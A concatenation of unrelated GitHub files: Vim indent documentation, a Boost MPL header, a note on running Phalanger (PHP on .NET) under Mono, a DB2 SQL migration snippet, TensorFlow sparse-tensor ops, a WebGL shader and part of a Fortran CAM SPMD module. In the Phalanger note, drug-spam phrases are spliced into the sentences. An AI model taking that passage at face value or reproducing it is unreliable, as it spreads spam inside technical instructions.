do/continue loops to the do/enddo form. Do loops of the do/enddo variety can
be indented. If you use only structured loops of the do/enddo form, you should
declare this by setting the fortran_do_enddo variable in your vimrc as
follows >
let fortran_do_enddo=1
in which case do loops will be indented. If all your loops are of do/enddo
type only in, say, .f90 files, then you should set a buffer flag with an
autocommand such as >
au! BufRead,BufNewFile *.f90 let b:fortran_do_enddo=1
to get do loops indented in .f90 files and left alone in Fortran files with
other extensions such as .for.
Program units ~
The indenting of program units (subroutines, functions, modules, and program
blocks) is enabled by default but can be suppressed if a lighter, screen-width
preserving indent style is desired. To suppress the indenting of program
units for all fortran files set the global fortran_indent_less variable in
your vimrc as follows >
let fortran_indent_less=1
A finer level of suppression can be achieved by setting the corresponding
buffer-local variable as follows >
let b:fortran_indent_less=1
HTML *ft-html-indent* *html-indent* *html-indenting*
This is about variables you can set in your vimrc to customize HTML indenting.
You can set the indent for the first line after <script> and <style>
"blocktags" (default "zero"): >
:let g:html_indent_script1 = "inc"
:let g:html_indent_style1 = "inc"
<
VALUE MEANING ~
"zero" zero indent
"auto" auto indent (same indent as the blocktag)
"inc" auto indent + one indent step
Many tags increase the indent for what follows per default (see "Add Indent
Tags" in the script). You can add further tags with: >
:let g:html_indent_inctags = "html,body,head,tbody"
You can also remove such tags with: >
:let g:html_indent_autotags = "th,td,tr,tfoot,thead"
Default value is empty for both variables. Note: the initial "inctags" are
only defined once per Vim session.
User variables are only read when the script is sourced. To enable your
changes during a session, without reloading the HTML file, you can manually
do: >
:call HtmlIndent_CheckUserSettings()
Detail:
Calculation of indent inside "blocktags" with "alien" content:
BLOCKTAG INDENT EXPR WHEN APPLICABLE ~
<script> : {customizable} if first line of block
: cindent(v:lnum) if attributes empty or contain "java"
: -1 else (vbscript, tcl, ...)
<style> : {customizable} if first line of block
: GetCSSIndent() else
<!-- --> : -1
PHP *ft-php-indent* *php-indent* *php-indenting*
NOTE: PHP files will be indented correctly only if PHP |syntax| is active.
If you are editing a file in Unix 'fileformat' and '\r' characters are present
before new lines, indentation won't proceed correctly ; you have to remove
those useless characters first with a command like: >
:%s /\r$//g
Or, you can simply |:let| the variable PHP_removeCRwhenUnix to 1 and the
script will silently remove them when Vim loads a PHP file (at each |BufRead|).
OPTIONS: ~
PHP indenting can be altered in several ways by modifying the values of some
global variables:
*php-comment* *PHP_autoformatcomment*
To not enable auto-formatting of comments by default (if you want to use your
own 'formatoptions'): >
:let g:PHP_autoformatcomment = 0
Else, 't' will be removed from the 'formatoptions' string and "qrowcb" will be
added, see |fo-table| for more information.
-------------
*PHP_outdentSLComments*
To add extra indentation to single-line comments: >
:let g:PHP_outdentSLComments = N
With N being the number of 'shiftwidth' to add.
Only single-line comments will be affected such as: >
# Comment
// Comment
/* Comment */
-------------
*PHP_default_indenting*
To add extra indentation to every PHP lines with N being the number of
'shiftwidth' to add: >
:let g:PHP_default_indenting = N
For example, with N = 1, this will give:
>
<?php
if (!isset($History_lst_sel))
if (!isset($History_lst_sel))
if (!isset($History_lst_sel)) {
$History_lst_sel=0;
} else
$foo="bar";
$command_hist = TRUE;
?>
(Notice the extra indentation between the PHP container markers and the code)
-------------
*PHP_outdentphpescape*
To indent PHP escape tags as the surrounding non-PHP code (only affects the
PHP escape tags): >
:let g:PHP_outdentphpescape = 0
-------------
*PHP_removeCRwhenUnix*
To automatically remove '\r' characters when the 'fileformat' is set to Unix: >
:let g:PHP_removeCRwhenUnix = 1
-------------
*PHP_BracesAtCodeLevel*
To indent braces at the same level than the code they contain: >
:let g:PHP_BracesAtCodeLevel = 1
This will give the following result: >
if ($foo)
{
foo();
}
Instead of: >
if ($foo)
{
foo();
}
NOTE: Indenting will be a bit slower if this option is used because some
optimizations won't be available.
-------------
*PHP_vintage_case_default_indent*
To indent 'case:' and 'default:' statements in switch() blocks: >
:let g:PHP_vintage_case_default_indent = 1
In PHP braces are not required inside 'case/default' blocks therefore 'case:'
and 'default:' are indented at the same level than the 'switch()' to avoid
meaningless indentation. You can use the above option to return to the
traditional way.
-------------
*PHP_noArrowMatching*
By default the indent script will indent multi-line chained calls by matching
the position of the '->': >
$user_name_very_long->name()
->age()
->info();
You can revert to the classic way of indenting by setting this option to 1: >
:let g:PHP_noArrowMatching = 1
You will obtain the following result: >
$user_name_very_long->name()
->age()
->info();
-------------
*PHP_IndentFunctionCallParameters*
Extra indentation levels to add to parameters in multi-line function calls. >
let g:PHP_IndentFunctionCallParameters = 1
Function call arguments will indent 1 extra level. For two-space indentation: >
function call_the_thing(
$with_this,
$and_that
) {
$this->do_the_thing(
$with_this,
$and_that
);
}
-------------
*PHP_IndentFunctionDeclarationParameters*
Extra indentation levels to add to arguments in multi-line function definitions. >
let g:PHP_IndentFunctionDeclarationParameters = 1
Function arguments in declarations will indent 1 extra level. For two-space indentation: >
function call_the_thing(
$with_this,
$and_that
) {
$this->do_the_thing(
$with_this,
$and_that
);
}
PYTHON *ft-python-indent*
The amount of indent can be set for the following situations. The examples
given are the defaults. Note that the variables are set to an expression, so
that you can change the value of 'shiftwidth' later.
Indent after an open paren: >
let g:pyindent_open_paren = 'shiftwidth() * 2'
Indent after a nested paren: >
let g:pyindent_nested_paren = 'shiftwidth()'
Indent for a continuation line: >
let g:pyindent_continue = 'shiftwidth() * 2'
The method uses |searchpair()| to look back for unclosed parenthesis. This
can sometimes be slow, thus it timeouts after 150 msec. If you notice the
indenting isn't correct, you can set a larger timeout in msec: >
let g:pyindent_searchpair_timeout = 500
If looking back for unclosed parenthesis is still too slow, especially during
a copy-paste operation, or if you don't need indenting inside multi-line
parentheses, you can completely disable this feature: >
let g:pyindent_disable_parentheses_indenting = 1
R *ft-r-indent*
Function arguments are aligned if they span for multiple lines. If you prefer
do not have the arguments of functions aligned, put in your |vimrc|:
>
let r_indent_align_args = 0
<
All lines beginning with a comment character, #, get the same indentation
level of the normal R code. Users of Emacs/ESS may be used to have lines
beginning with a single # indented in the 40th column, ## indented as R code,
and ### not indented. If you prefer that lines beginning with comment
characters are aligned as they are by Emacs/ESS, put in your |vimrc|:
>
let r_indent_ess_comments = 1
<
If you prefer that lines beginning with a single # are aligned at a column
different from the 40th one, you should set a new value to the variable
r_indent_comment_column, as in the example below:
>
let r_indent_comment_column = 30
<
Any code after a line that ends with "<-" is indented. Emacs/ESS does not
indent the code if it is a top level function. If you prefer that the
Vim-R-plugin behaves like Emacs/ESS in this regard, put in your |vimrc|:
>
let r_indent_ess_compatible = 1
<
Below is an example of indentation with and without this option enabled:
>
### r_indent_ess_compatible = 1 ### r_indent_ess_compatible = 0
foo <- foo <-
function(x) function(x)
{ {
paste(x) paste(x)
} }
<
The code will be indented after lines that match the pattern
`'\(&\||\|+\|-\|\*\|/\|=\|\~\|%\|->\)\s*$'`. If you want indentation after
lines that match a different pattern, you should set the appropriate value of
`r_indent_op_pattern` in your |vimrc|.
SHELL *ft-sh-indent*
The amount of indent applied under various circumstances in a shell file can
be configured by setting the following keys in the |Dictionary|
b:sh_indent_defaults to a specific amount or to a |Funcref| that references a
function that will return the amount desired:
b:sh_indent_options['default'] Default amount of indent.
b:sh_indent_options['continuation-line']
Amount of indent to add to a continued line.
b:sh_indent_options['case-labels']
Amount of indent to add for case labels.
(not actually implemented)
b:sh_indent_options['case-statements']
Amount of indent to add for case statements.
b:sh_indent_options['case-breaks']
Amount of indent to add (or more likely
remove) for case breaks.
VERILOG *ft-verilog-indent*
General block statements such as if, for, case, always, initial, function,
specify and begin, etc., are indented. The module block statements (first
level blocks) are not indented by default. you can turn on the indent with
setting a variable in the vimrc as follows: >
let b:verilog_indent_modules = 1
then the module blocks will be indented. To stop this, remove the variable: >
:unlet b:verilog_indent_modules
To set the variable only for Verilog file. The following statements can be
used: >
au BufReadPost * if exists("b:current_syntax")
au BufReadPost * if b:current_syntax == "verilog"
au BufReadPost * let b:verilog_indent_modules = 1
au BufReadPost * endif
au BufReadPost * endif
Furthermore, setting the variable b:verilog_indent_width to change the
indenting width (default is 'shiftwidth'): >
let b:verilog_indent_width = 4
let b:verilog_indent_width = shiftwidth() * 2
In addition, you can turn the verbose mode for debug issue: >
let b:verilog_indent_verbose = 1
Make sure to do ":set cmdheight=2" first to allow the display of the message.
VHDL *ft-vhdl-indent*
Alignment of generic/port mapping statements are performed by default. This
causes the following alignment example: >
ENTITY sync IS
PORT (
clk : IN STD_LOGIC;
reset_n : IN STD_LOGIC;
data_input : IN STD_LOGIC;
data_out : OUT STD_LOGIC
);
END ENTITY sync;
To turn this off, add >
let g:vhdl_indent_genportmap = 0
to the vimrc file, which causes the previous alignment example to change: >
ENTITY sync IS
PORT (
clk : IN STD_LOGIC;
reset_n : IN STD_LOGIC;
data_input : IN STD_LOGIC;
data_out : OUT STD_LOGIC
);
END ENTITY sync;
----------------------------------------
Alignment of right-hand side assignment "<=" statements are performed by
default. This causes the following alignment example: >
sig_out <= (bus_a(1) AND
(sig_b OR sig_c)) OR
(bus_a(0) AND sig_d);
To turn this off, add >
let g:vhdl_indent_rhsassign = 0
to the vimrc file, which causes the previous alignment example to change: >
sig_out <= (bus_a(1) AND
(sig_b OR sig_c)) OR
(bus_a(0) AND sig_d);
----------------------------------------
Full-line comments (lines that begin with "--") are indented to be aligned with
the very previous line's comment, PROVIDED that a whitespace follows after
"--".
For example: >
sig_a <= sig_b; -- start of a comment
-- continuation of the comment
-- more of the same comment
While in Insert mode, after typing "-- " (note the space " "), hitting CTRL-F
will align the current "-- " with the previous line's "--".
If the very previous line does not contain "--", THEN the full-line comment
will be aligned with the start of the next non-blank line that is NOT a
full-line comment.
Indenting the following code: >
sig_c <= sig_d; -- comment 0
-- comment 1
-- comment 2
--debug_code:
--PROCESS(debug_in)
--BEGIN
-- FOR i IN 15 DOWNTO 0 LOOP
-- debug_out(8*i+7 DOWNTO 8*i) <= debug_in(15-i);
-- END LOOP;
--END PROCESS debug_code;
-- comment 3
sig_e <= sig_f; -- comment 4
-- comment 5
results in: >
sig_c <= sig_d; -- comment 0
-- comment 1
-- comment 2
--debug_code:
--PROCESS(debug_in)
--BEGIN
-- FOR i IN 15 DOWNTO 0 LOOP
-- debug_out(8*i+7 DOWNTO 8*i) <= debug_in(15-i);
-- END LOOP;
--END PROCESS debug_code;
-- comment 3
sig_e <= sig_f; -- comment 4
-- comment 5
Notice that "--debug_code:" does not align with "-- comment 2"
because there is no whitespace that follows after "--" in "--debug_code:".
Given the dynamic nature of indenting comments, indenting should be done TWICE.
On the first pass, code will be indented. On the second pass, full-line
comments will be indented according to the correctly indented code.
VIM *ft-vim-indent*
For indenting Vim scripts there is one variable that specifies the amount of
indent for a continuation line, a line that starts with a backslash: >
:let g:vim_indent_cont = shiftwidth() * 3
Three times shiftwidth is the default value.
vim:tw=78:ts=8:noet:ft=help:norl:
|
{
"pile_set_name": "Github"
}
|
// Copyright Aleksey Gurtovoy 2001-2004
// Copyright Peter Dimov 2001-2003
//
// Distributed under the Boost Software License, Version 1.0.
// (See accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt)
//
// *Preprocessed* version of the main "placeholders.hpp" header
// -- DO NOT modify by hand!
BOOST_MPL_AUX_ADL_BARRIER_NAMESPACE_OPEN
typedef arg< -1 > _;
BOOST_MPL_AUX_ADL_BARRIER_NAMESPACE_CLOSE
namespace boost { namespace mpl {
BOOST_MPL_AUX_ARG_ADL_BARRIER_DECL(_)
namespace placeholders {
using BOOST_MPL_AUX_ADL_BARRIER_NAMESPACE::_;
}
}}
/// agurt, 17/mar/02: one more placeholder for the last 'apply#'
/// specialization
BOOST_MPL_AUX_ADL_BARRIER_NAMESPACE_OPEN
typedef arg<1> _1;
BOOST_MPL_AUX_ADL_BARRIER_NAMESPACE_CLOSE
namespace boost { namespace mpl {
BOOST_MPL_AUX_ARG_ADL_BARRIER_DECL(_1)
namespace placeholders {
using BOOST_MPL_AUX_ADL_BARRIER_NAMESPACE::_1;
}
}}
BOOST_MPL_AUX_ADL_BARRIER_NAMESPACE_OPEN
typedef arg<2> _2;
BOOST_MPL_AUX_ADL_BARRIER_NAMESPACE_CLOSE
namespace boost { namespace mpl {
BOOST_MPL_AUX_ARG_ADL_BARRIER_DECL(_2)
namespace placeholders {
using BOOST_MPL_AUX_ADL_BARRIER_NAMESPACE::_2;
}
}}
BOOST_MPL_AUX_ADL_BARRIER_NAMESPACE_OPEN
typedef arg<3> _3;
BOOST_MPL_AUX_ADL_BARRIER_NAMESPACE_CLOSE
namespace boost { namespace mpl {
BOOST_MPL_AUX_ARG_ADL_BARRIER_DECL(_3)
namespace placeholders {
using BOOST_MPL_AUX_ADL_BARRIER_NAMESPACE::_3;
}
}}
BOOST_MPL_AUX_ADL_BARRIER_NAMESPACE_OPEN
typedef arg<4> _4;
BOOST_MPL_AUX_ADL_BARRIER_NAMESPACE_CLOSE
namespace boost { namespace mpl {
BOOST_MPL_AUX_ARG_ADL_BARRIER_DECL(_4)
namespace placeholders {
using BOOST_MPL_AUX_ADL_BARRIER_NAMESPACE::_4;
}
}}
BOOST_MPL_AUX_ADL_BARRIER_NAMESPACE_OPEN
typedef arg<5> _5;
BOOST_MPL_AUX_ADL_BARRIER_NAMESPACE_CLOSE
namespace boost { namespace mpl {
BOOST_MPL_AUX_ARG_ADL_BARRIER_DECL(_5)
namespace placeholders {
using BOOST_MPL_AUX_ADL_BARRIER_NAMESPACE::_5;
}
}}
BOOST_MPL_AUX_ADL_BARRIER_NAMESPACE_OPEN
typedef arg<6> _6;
BOOST_MPL_AUX_ADL_BARRIER_NAMESPACE_CLOSE
namespace boost { namespace mpl {
BOOST_MPL_AUX_ARG_ADL_BARRIER_DECL(_6)
namespace placeholders {
using BOOST_MPL_AUX_ADL_BARRIER_NAMESPACE::_6;
}
}}
|
{
"pile_set_name": "Github"
}
|
> **Note:** There is a new, modern PHP compiler to .NET entitled Peachpie, which is being developed at the moment. Please see [the Peachpie repository](https://github.com/iolevel/peachpie)
By Jakub Misek, 01/17/2012
Phalanger is a complete reimplementation of PHP, written in the C# language. It was always being developed with the Mono platform in mind. This means you can compile and run PHP application on Linux web servers using Mono. Since Phalanger 3.0, this become more official, periodically tested and maintained.
# Notes
Mono since 2.10.8 contains few fixes that allow running Phalanger powered applications.
Mainly it fixes the recursive ReaderWriterLockSlim issue, which disallowed Phalanger in some special cases. If you encounter this brand name buspar online issue, please update your Mono to version that has this fixed.
# Installing Phalanger on Linux
Briefly, see configuration and add listed configuration options into your web.config file. Dependant Phalanger’s assemblies copy into Global Assembly Cache using “mono gacutil.exe -i” util. You will need PhpNetCore.dll, PhpNetClassLibrary.dll and required extensions (e.g. PhpNetMySql.dll, PhpNetSimpleXml.dll).
The rest of configuration is the same as cialis at optum rx for ASP.NET 4.0 web on Mono.
# Too short?
This post is more an announcement than a tutorial of installing Phalanger on Mono. Phalanger installer for Linux will be published soon, so you don’t have to care about installing :-)
|
{
"pile_set_name": "Github"
}
|
-- Database: db2i
-- Change Parameter: column1Name=first_name
-- Change Parameter: column2Name=last_name
-- Change Parameter: finalColumnName=full_name
-- Change Parameter: finalColumnType=varchar(255)
-- Change Parameter: tableName=person
ALTER TABLE person ADD full_name VARCHAR(255);
UPDATE person SET full_name = first_name || 'null' || last_name;
ALTER TABLE person DROP COLUMN first_name;
ALTER TABLE person DROP COLUMN last_name;
|
{
"pile_set_name": "Github"
}
|
# Copyright 2016 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Ops to work with `SparseTensor`."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from tensorflow.python.framework import dtypes
from tensorflow.python.framework import ops
from tensorflow.python.framework import sparse_tensor
from tensorflow.python.ops import array_ops
from tensorflow.python.ops import math_ops
from tensorflow.python.util import compat
def _multiplier_helper(shape):
"""Returns moving offset for each dimension given shape."""
multipliers = []
for dim in reversed(shape):
if multipliers:
multipliers.append(dim * multipliers[-1])
else:
multipliers.append(dim)
multipliers.reverse()
return multipliers
def _ignore_value_tensor(dtype, ignore_value=None):
"""Create `Tensor` from provided `ignore_value` and `dtype`."""
if ignore_value is None:
if dtype == dtypes.string:
# Exception due to TF strings are converted to numpy objects by default.
ignore_value = ""
else:
# NOTE: `as_numpy_dtype` is a property, so with the parentheses this is
# constructing a new numpy object of the given type, which yields the
# default value for that type.
ignore_value = dtype.as_numpy_dtype()
return math_ops.cast(ignore_value, dtype, name="ignore_value")
def dense_to_sparse_tensor(dense_tensor, ignore_value=None):
"""Converts dense `Tensor` to `SparseTensor`, dropping `ignore_value` cells.
Args:
dense_tensor: A `Tensor`.
ignore_value: Entries in `dense_tensor` equal to this value will be
absent from the return `SparseTensor`. If `None`, default value of
`dense_tensor` dtype will be used (e.g. '' for `str`, 0 for `int`).
Returns:
A `SparseTensor` with the same shape as `dense_tensor`.
Raises:
ValueError: when `dense_tensor`'s rank is `None`.
"""
with ops.name_scope("DenseToSparseTensor"):
dense_tensor = ops.convert_to_tensor(dense_tensor)
ignore_value = _ignore_value_tensor(dense_tensor.dtype, ignore_value)
indices = array_ops.where(
math_ops.not_equal(dense_tensor, ignore_value), name="indices")
return sparse_tensor.SparseTensor(
indices=indices,
values=array_ops.gather_nd(dense_tensor, indices, name="values"),
dense_shape=array_ops.shape(
dense_tensor, out_type=dtypes.int64, name="dense_shape"))
def indicators_to_sparse_ids(indicators, ignore_value=None, dtype=dtypes.int64):
"""Convert a dense indicator tensor to sparse IDs.
This is commonly used for converting a dense classification label to sparse.
In the following example, we have an input of shape (2, 2, num_classes),
where num_classes=4.
```python
indicators = [
[
[0, 0, 1, 0],
[0, 0, 0, 0]
], [
[1, 0, 1, 1],
[0, 0, 1, 0]
]
]
sparse_ids = indicator_to_sparse_ids(indicators)
```
`sparse_ids` in "jagged" format:
[
[
[2],
[]
], [
[0, 2, 3],
[2]
]
]
`sparse_ids` in `SparseTensor` format:
```python
{
indices: [[0, 0, 1], [1, 0, 0], [1, 0, 1], [1, 0, 2], [1, 1, 0]],
values: [2, 0, 2, 3, 2],
dense_shape: [2, 2, 3]
}
```
Args:
indicators: Dense `Tensor` of shape `(d0, ..., dn, num_classes)`.
`ignore_value` values are ignored. For other values (typically, ones), the
index along the last dimension is returned.
ignore_value: Entries in `indicators` equal to this value will be
absent from the returned `SparseTensor`. If `None`, default value of
`indicators` dtype will be used (e.g. '' for `str`, 0 for `int`).
dtype: Type of result, must be integer type.
Returns:
`SparseTensor` of type `dtype` and shape `(d0, ..., dn, max_num_labels)`,
where `max_num_labels` is the maximum number of non-zero values in any
row (in the example above, row (1, 1) has 3 non-zero values, so the result
shape is (2, 2, 3)). The values of this `SparseTensor` are in the range
`[0, num_classes)` and correspond to the index of non-ignore values along
the last dimension of `indicators`.
Raises:
ValueError: if `dtype` is not integer.
"""
if not dtype.is_integer:
raise ValueError("Invalid dtype {} not integer.".format(dtype))
with ops.name_scope(
None, "indicators_to_sparse_ids", (indicators, ignore_value)):
# Convert indicators to binary ones and zeros. We use int64 since
# SparseTensor requires int64 indices.
indicators = ops.convert_to_tensor(indicators, name="indicators")
missing_indicators = math_ops.equal(
indicators, _ignore_value_tensor(indicators.dtype, ignore_value),
name="missing")
zeros_like_indicators = array_ops.zeros_like(
indicators, dtype=dtypes.int64, name="zeros")
binary_indicators = array_ops.where(
missing_indicators, zeros_like_indicators,
array_ops.ones_like(indicators, dtype=dtypes.int64, name="ones"),
name="binary_indicators")
# Use cumsum along the last dimension to generate per-row indexes.
# Note that these are 1-based (since 0 indicates missing values), so they're
# off-by-1 from the actual indices. We'll subtract 1 below. Since they're
# off-by-one, the max value is the size of the last dimension (i.e.,
# last_index + 1).
row_index_indicators = array_ops.where(
missing_indicators, zeros_like_indicators,
math_ops.cumsum(binary_indicators, axis=-1), "row_index_indicators")
result_last_dim = array_ops.reshape(
math_ops.reduce_max(row_index_indicators), shape=(1,),
name="result_last_dim")
# Convert to a SparseTensor. The values of this SparseTensor are the last
# indices of our result, and the last indices of this SparseTensor (i.e.,
# the class IDs indicated by `indicators`) are the values of our result, so
# we use tensor slicing and concat to swap them.
sparse_row_index_indicators = dense_to_sparse_tensor(
row_index_indicators, ignore_value=0)
return sparse_tensor.SparseTensor(
indices=array_ops.concat((
sparse_row_index_indicators.indices[:, :-1],
array_ops.reshape(sparse_row_index_indicators.values - 1, (-1, 1))
), axis=1, name="indices"),
values=math_ops.cast(
sparse_row_index_indicators.indices[:, -1], dtype=dtype,
name="values"),
dense_shape=array_ops.concat(
(sparse_row_index_indicators.dense_shape[0:-1], result_last_dim),
axis=0, name="dense_shape"))
def sparse_row_envelope(sparse_input, row_axis=0, col_axis=1, name=None):
"""Returns the length of each 'row' in a `SparseTensor`.
For example, if `sparse_input` has indices `[[0,0], [2, 0], [2, 1], [2, 2]]`
and shape `[3, 3]`, this function will return `[1, 0, 3]`.
Args:
sparse_input: a `SparseTensor` of rank at least 2.
row_axis: An integer. The axis for the row of the envelope matrix. Default
is 0.
col_axis: An integer. The axis for the col of the envelope matrix. Default
is 1.
name: A name for the operation (optional).
Returns:
A one-dimensional `Tensor` whose entries correspond to the length of each
row of `SparseTensor`.
Raises:
ValueError: If row_axis and col_axis are the same axis or they are not
integers.
"""
if not (isinstance(row_axis, compat.integral_types) and
isinstance(col_axis, compat.integral_types)):
raise ValueError("`row_axis` and `col_axis` must be integers.")
if row_axis == col_axis:
raise ValueError("Row and column can not be the same axis.")
with ops.name_scope(name, "sparse_row_envelope", [sparse_input]):
indices = sparse_input.indices
row_indices = indices[:, row_axis]
col_indices = indices[:, col_axis]
num_rows = math_ops.cast(sparse_input.dense_shape[row_axis], dtypes.int32)
row_envelope = math_ops.unsorted_segment_max(
col_indices + 1, row_indices, num_rows, name=name)
zeros = array_ops.zeros_like(row_envelope)
return array_ops.where(row_envelope > zeros, row_envelope, zeros)
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright 2017 Google Inc. All Rights Reserved.
* Licensed under the Apache License, Version 2.0 (the 'License');
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an 'AS IS' BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
precision highp float;
precision highp int;
uniform vec3 backgroundColor;
uniform float backgroundAlpha;
uniform vec3 gridColor;
uniform float gridAlpha;
uniform float alpha;
uniform float time;
uniform float dpr;
uniform float interval;
uniform float aspect;
float Square( vec2 pos, vec2 size ) {
vec2 v = abs( pos ) - size;
return max( v.x, v.y );
}
void main() {
float gridSize = dpr * interval;
float halfGridSize = gridSize * 0.5;
vec2 uv = mod( gl_FragCoord.xy, gridSize ) - halfGridSize;
float grid = Square( uv, vec2( halfGridSize - dpr ) );
vec4 finalColor = mix(
vec4( backgroundColor, backgroundAlpha ),
vec4( gridColor, gridAlpha ),
clamp( grid, 0.0, 1.0 ) );
finalColor.a *= alpha;
gl_FragColor = finalColor;
}
|
{
"pile_set_name": "Github"
}
|
module spmd_dyn
!BOP
!
! !MODULE: Subroutines to initialize SPMD implementation of CAM
!
#if (defined SPMD)
!
! !USES:
use shr_kind_mod, only: r8 => shr_kind_r8
use spmd_utils, only: iam, masterproc, npes
use pmgrid, only: plat, plon, numbnd, &
numlats, beglat, endlat, &
plev, beglev, endlev, endlevp1, &
endlevp, myid_y, myid_z, npr_y, npr_z, plevp, &
myidxy_x, myidxy_y, nprxy_x, nprxy_y, &
beglonxy, endlonxy, beglatxy, endlatxy, &
twod_decomp, spmd_on, mod_transpose, mod_geopk, &
mod_gatscat
use mpishorthand, only: mpir8, mpicom, mpiint, mpi_success
use decompmodule, only: decomptype, decompcreate
use ghostmodule, only: ghosttype
use parutilitiesmodule, only: parpatterntype
use fv_control_mod, only: ct_overlap, trac_decomp
use cam_abortutils, only: endrun
use cam_logfile, only: iulog
implicit none
! !PUBLIC MEMBER FUNCTIONS:
public spmdinit_dyn, decomp_wavenumbers
public compute_gsfactors, spmdbuf, spmd_readnl
! !PUBLIC DATA MEMBERS:
integer ::force_2d = 0 !option to force transpose computation for 1D decomp.
integer :: geopkblocks = 1 !number of stages to use in Z-serial non-transpose
! geopotential method (routine geopk_d)
! with 2D decomp.
logical :: geopkdist = .false. !use a distributed method for geopotential calculation
! with 2D decomp.
logical :: geopk16byte = .false. !use Z-parallel distributed method for geopotential
! calculation with 2D decomp.; otherwise, use Z-serial
! pipeline algorithm
integer :: geopktrans = 0
integer :: npr_yz(4) !yz and xy decompositions
integer :: modcomm_transpose = 0 !mod_comm transpose method
! 0 for temporary contiguous buffers
! 1 for mpi derived types
integer :: modcomm_geopk = 0 !mod_comm geopk method
! 0 for temporary contiguous buffers
! 1 for mpi derived types
integer :: modcomm_gatscat = 0 !mod_comm gather/scatter method
! 0 for temporary contiguous buffers
! 1 for mpi derived types
integer :: modc_sw_dynrun = 0 !mod_comm irregular underlying communication method for dyn_run/misc
! 0 for original mp_sendirr/mp_recvirr
! 1 for mp_swapirr and point-to-point communications
! 2 for mp_swapirr and all-to-all communications
logical :: modc_hs_dynrun = .true. !mod_comm irreg comm handshaking for dyn_run/misc
logical :: modc_send_dynrun = .true. ! true for mod_comm irregular communication blocking send for
! dyn_run/misc, false for nonblocking send
integer :: modc_mxreq_dynrun = -1 !maximum number of nonblocking communication requests to allow
! when using mp_swapirr and point-to-point communications for
! dyn_run/misc
! < 0 implies no limits
integer :: modc_sw_cdcore = 0 !mod_comm irregular underlying communication method for cd_core/geopk
! 0 for original mp_sendirr/mp_recvirr
! 1 for mp_swapirr and point-to-point communications
! 2 for mp_swapirr and all-to-all communications
logical :: modc_hs_cdcore = .true. ! true for mod_comm irregular communication handshaking for cd_core/geopk
logical :: modc_send_cdcore = .true. ! true for geopk_d or mod_comm irregular communication blocking send for
! cd_core/geopk, false for nonblocking send
integer :: modc_mxreq_cdcore = -1 ! maximum number of nonblocking communication requests to allow
! when using mp_swapirr and point-to-point communications for
! cd_core/geopk
! < 0 implies no limits
integer :: modc_sw_gather = 1 ! mod_comm irregular underlying communication method for gather
! 0 for original mp_sendirr/mp_recvirr
! 1 for mp_swapirr and point-to-point communications
! 2 for mp_swapirr and all-to-all communications
logical :: modc_hs_gather = .true. ! true for mod_comm irregular communication handshaking for gather
logical :: modc_send_gather = .true. ! true for mod_comm irregular communication blocking send for
! gather, false for nonblocking send
integer :: modc_mxreq_gather = 64 ! maximum number of nonblocking communication requests to allow
! when using mp_swapirr and point-to-point communications for
! gather
! < 0 implies no limits
integer :: modc_sw_scatter = 0 ! mod_comm irregular underlying communication method for scatter
! 0 for original mp_sendirr/mp_recvirr
! 1 for mp_swapirr and point-to-point communications
! 2 for mp_swapirr and all-to-all communications
logical :: modc_hs_scatter = .false. ! true for mod_comm irregular communication handshaking for scatter
logical :: modc_send_scatter = .true. ! true for mod_comm irregular communication blocking send for
! scatter, false for nonblocking send
integer :: modc_mxreq_scatter = -1 ! maximum number of nonblocking communication requests to allow
! when using mp_swapirr and point-to-point communications for
! scatter
! < 0 implies no limits
integer :: modc_sw_tracer = 0 ! mod_comm irregular underlying communication method for multiple tracers
! 0 for original mp_sendirr/mp_recvirr
! 1 for mp_swapirr and point-to-point communications
! 2 for mp_swapirr and all-to-all communications
logical :: modc_hs_tracer = .true. ! true for mod_comm irregular communication handshaking for multiple tracers
logical :: modc_send_tracer = .true. ! true for mod_comm irregular communication blocking send for
! multiple tracers, false for nonblocking send
integer :: modc_mxreq_tracer = -1 ! maximum number of nonblocking communication requests to allow
! when using mp_swapirr and point-to-point communications for
! multiple tracers
! < 0 implies no limits
integer :: modc_onetwo = 2 !one or two simultaneous mod_comm irregular communications
! (excl. tracers)
integer :: modc_tracers = 3 ! max number of tracers for simultaneous mod_comm irregular communications
! 0 for original mp_sendirr/mp_recvirr communications
! positive for special tracer routines
logical :: local_dp_map=.false. ! flag indicates that mapping between dynamics
! and physics decompositions does not require
! interprocess communication
integer :: block_buf_nrecs ! number of local grid points (lon,lat,lev)
! in dynamics decomposition (including level 0)
integer :: chunk_buf_nrecs ! number of local grid points (lon,lat,lev)
! in physics decomposition (including level 0)
integer :: proc(plat) ! processor id associated with a given lat.
integer, allocatable :: cut(:,:) ! partition for MPI tasks
integer, allocatable :: nlat_p(:) ! number of latitudes per subdomain
integer comm_y ! communicator in latitude
integer comm_z ! communicator in vertical
integer commxy_x ! communicator in longitude (xy second. decomp.)
integer commxy_y ! communicator in latitude (xy second. decomp.)
integer mpicom_yz ! communicator for yz decomposition
integer mpicom_nyz ! communicator for multiple yz decomposition
integer mpicom_xy ! communicator for xy decomposition
integer npes_yz ! number of processes for yz decomposition
integer npes_xy ! number of processes for xy decomposition
integer, allocatable :: lonrangexy(:,:) ! global xy-longitude subdomain index
integer, allocatable :: latrangexy(:,:) ! global xy-latitude subdomain index
type (ghosttype), save :: ghostpe_yz, ghostpe1_yz
type (parpatterntype) :: ikj_xy_to_yz, ijk_yz_to_xy, ijk_xy_to_yz, &
pexy_to_pe, pkxy_to_pkc
!
! !DESCRIPTION:
! {\bf Purpose:} Subroutines to initialize SPMD implementation of CAM
!
! !REVISION HISTORY:
! ??.??.?? CCM Core Group Creation
! 00.09.30 Sawyer Alterations for LR SPMD mode
! 01.05.09 Mirin 2-D yz decomposition
! 01.06.27 Mirin Secondary 2-D xy decomposition
